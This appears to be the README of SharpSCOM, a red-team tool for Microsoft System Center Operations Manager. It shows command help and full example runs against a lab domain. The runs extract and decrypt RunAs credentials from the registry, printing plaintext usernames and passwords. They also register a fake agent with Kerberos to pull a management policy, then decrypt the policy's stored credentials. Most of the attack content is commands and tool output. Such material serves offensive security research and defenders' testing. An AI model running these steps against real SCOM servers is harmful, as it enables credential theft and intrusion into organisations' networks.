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Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

Usage: SharpSCOM <command> [options]

Commands:
  RegisterAgent          Register a new agent with SCOM server
  RegisterCertificate    Assign a certificate to an existing agent
  RequestPolicy          Request policy from SCOM server
  DownloadPolicy         Download policy from SCOM server
  AutoEnroll             Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
  DecryptPolicy          Decrypt SecureData section from a policy file
  DecryptRunAs           Extract and decrypt RunAs credentials from registry

Common Options:
  /hostname:<name>       Computer hostname (default: current machine)
  /managementgroup:<mg>  SCOM management group name
  /server:<server>       SCOM server address
  /port:<port>           SCOM server port (default: 5723)
  /outfile:<file>        Output file path
  /data:<base64>         Base64-encoded data
  /key:<xml>             RSA private key in XML format
  /verbose               Enable verbose output
  /help                  Show this help message

Examples:
  SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
  SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
  SharpSCOM DecryptRunAs

SharpSCOM.exe decryptrunas

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Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials

Username: ludus\opsmgr_action
Password: Password123

Username: ludus\opsmgr_dataread
Password: Password123

Username: ludus\opsmgr_datawrite
Password: Password123

Username: ludus\runas_account
Password: SuperSecure!

[+] Completed

SharpSCOM DecryptPolicy /data:<base64-encrypted-data>


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▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                     

Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>

SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml

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Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Using Hostname: fake1.ludus.domain (24849d66-ef29-d6c4-4ff1-3e77a3e37a54)
[+] Using Management Group: SCOM1 (f0bc91d0-6de8-1fa8-d6bd-eb98f66672ad)
[+] Server: scom-om1.ludus.domain:5723
[+] Preparing to send multi-part agent message...
[+] Connecting to scom-om1.ludus.domain:5723
[+] Performing Kerberos SSPI authentication...
[+] Authentication successful!
[+] Client authority:
[+] Client context user: LUDUS.DOMAIN\fake1$
[+] Client session key: FF-36-61-D8-3D-53-71-B4-F8-4F-AA-E5-D4-0F-FA-1B-1F-34-15-62-F7-F4-3F-11-16-15-4B-47-1F-25-8B-59
[+] Generating agent registration message
[+] Generating agent certificate message
[+] Generating new agent certificate for fake1.ludus.domain
[+] Subject: CN=fake1.ludus.domain, OU=RunAs Account Encryption, O=Microsoft
[+] Serial Number: 4718FEBFD26B45A24405206C262C1F66
[+] Valid From: 10/26/2025 2:32:48 AM UTC
[+] Valid To: 10/26/2026 2:32:48 AM UTC
[+] Thumbprint: 7AA2A863985A965AA7E42061F5D344D17B68DB23
[+] Public Key (Hex): <REDACTED FOR BREVITY>
[+] Certificate (DER Base64): <REDACTED FOR BREVITY>
[+] Private Key (XML): <RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue>
[+] Generating agent policy request
[+] Sending multi-part agent message...
[+] Sending 1174 bytes to server...
[+] [AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): <REDACTED FOR BREVITY>
[+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): <REDACTED FOR BREVITY>
[+] Waiting for server response...
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): AyBzGQQgBCD+AAAA0QAAAHicm+eqwsHEwMDxjoGBgRmInXz9fdkZGRgMU+ZOiYjOWtL8f0tTQMJz9pOB3j12jrKrVm3W2Gnw/8VfT6A6DqB6oF4G8RQGBnT5tLktKprvj1zz/2hXvvhxVYi32x2gqQwMp1v5QBRDE1SvBTOYy3A2HkIDzRIA0YwMGkAyjcGUwYjBmMGSIQUIzRl0GVIZkoBiIJYJkG3BkAxkWQDFjBgMgSxjICsJKJsKps0YEoEiyUCVegwVDLkMOQyPTyi9SCl/4Nd7NF7jsMvBEgDLhkBP
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): nkUkCAIAAAjuAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB8lRS4w+QR2qqrMouTD/6P1JTU9NCAAAAAIAAAAXZAAAyVFLjD5BHaqqsyi5MP/o/WadhCQp78TWT/E+d6PjelRLRtwBAAAAAMuFDgAAAAAAggAAAAIAAAA4AwAAAAAAAM1fAAAAAAAAF2QAEAAAAAABACgAAABmADUAMgAzADkAZABkADcALQBlAGIANQA3AC0ANABlADgAYwAtADgAYgAyADEALQAzAGIAYgA3AGUAYgBiADYAYQAzAGMANAAuAHgAbQBsAOPIIuhkd+BOjcVfKMNEwXQ=
[+] Received 225 bytes from server
[+] Server registration response received
[+] Generating policy download message
[+] server_guid: C9-51-4B-8C-3E-41-1D-AA-AA-B3-28-B9-30-FF-E8-FD
[+] policy_guid: E3-C8-22-E8-64-77-E0-4E-8D-C5-5F-28-C3-44-C1-74
[+] policy_length_1: CD-5F-00-00
[+] policy_length_2: 38-03-00-00
[+] Sending 148 bytes to server...
[+] [AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): AyBzGQQgBCCoAAAAhAAAAHicm+eqwsHMwMAwA4hBtJOvvy87IwODYcrcKRHRWUua/29pCkh4zp42t0VF8/2Ra/4f7coXP64K8QSq44TqEU9hYECXPxno3WPnKLtq1WaNnQb/X/x1crsDNJWBgZUBAnSA2IIZwmZkQAVn4xkYHp9QepFS/sCv92i8xmGXgyUA73oyHQ==
[+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): nkUkCAMAAACYAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB2adhCQp78TWT/E+d6PjelRJTU9NCQAAAAMAAAAXZAAAZp2EJCnvxNZP8T53o+N6VMlRS4w+QR2qqrMouTD/6P1CRtwBAAAAAAUAAAAAAAAALAAAADgDAAAAAAAAAQAAAAAAAAAAAAAAAAAAAM1fAADjyCLoZHfgTo3FXyjDRMF0
[+] Waiting for server response...
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): <REDACTED FOR BREVITY>
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): <REDACTED FOR BREVITY>
[+] Received 8655 bytes from server
[+] Successfully wrote policy XML to C:\Users\domainadmin\desktop\policy_new.xml
[+] Completed
[+] Disconnected from server

SharpSCOM.exe decryptpolicy /data:"DAEAAAECAAAQZgA<REDACTED FOR BREVITY> /key:<RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue>

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▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                 

Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Attempting to decrypt policy data...
[+] Using private key from XML
[+] Key Size: 2048
[+] RSA key loaded successfully from XML
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added /><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>